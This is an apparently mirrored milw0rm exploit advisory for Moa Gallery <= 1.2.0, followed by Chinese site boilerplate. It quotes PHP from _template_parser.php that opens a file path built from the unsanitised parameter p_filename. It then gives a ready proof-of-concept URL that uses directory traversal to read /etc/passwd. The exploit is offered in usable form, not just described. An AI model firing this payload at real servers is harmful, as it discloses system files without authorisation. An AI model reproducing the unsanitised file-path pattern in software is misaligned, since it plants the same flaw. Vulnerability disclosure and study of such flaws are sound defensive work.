Moa Gallery <= 1.2.0 Remote File Disclosure Vulnerability Code In sources\_template_parser.php $filename = $MOA_PATH."templates/".$template_name."/".$p_filename; $fp = @fopen($filename, "r"); if ((!$fp) && (is_bool($fp))) { $fp = $fp = @fopen($MOA_PATH."templates/MoaDefault/".$p_filename, "r"); POC /sources/_template_parser.php?p_filename=../../../../../../../../../../../../../../../etc/passwd # milw0rm.com [2009-08-26]
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论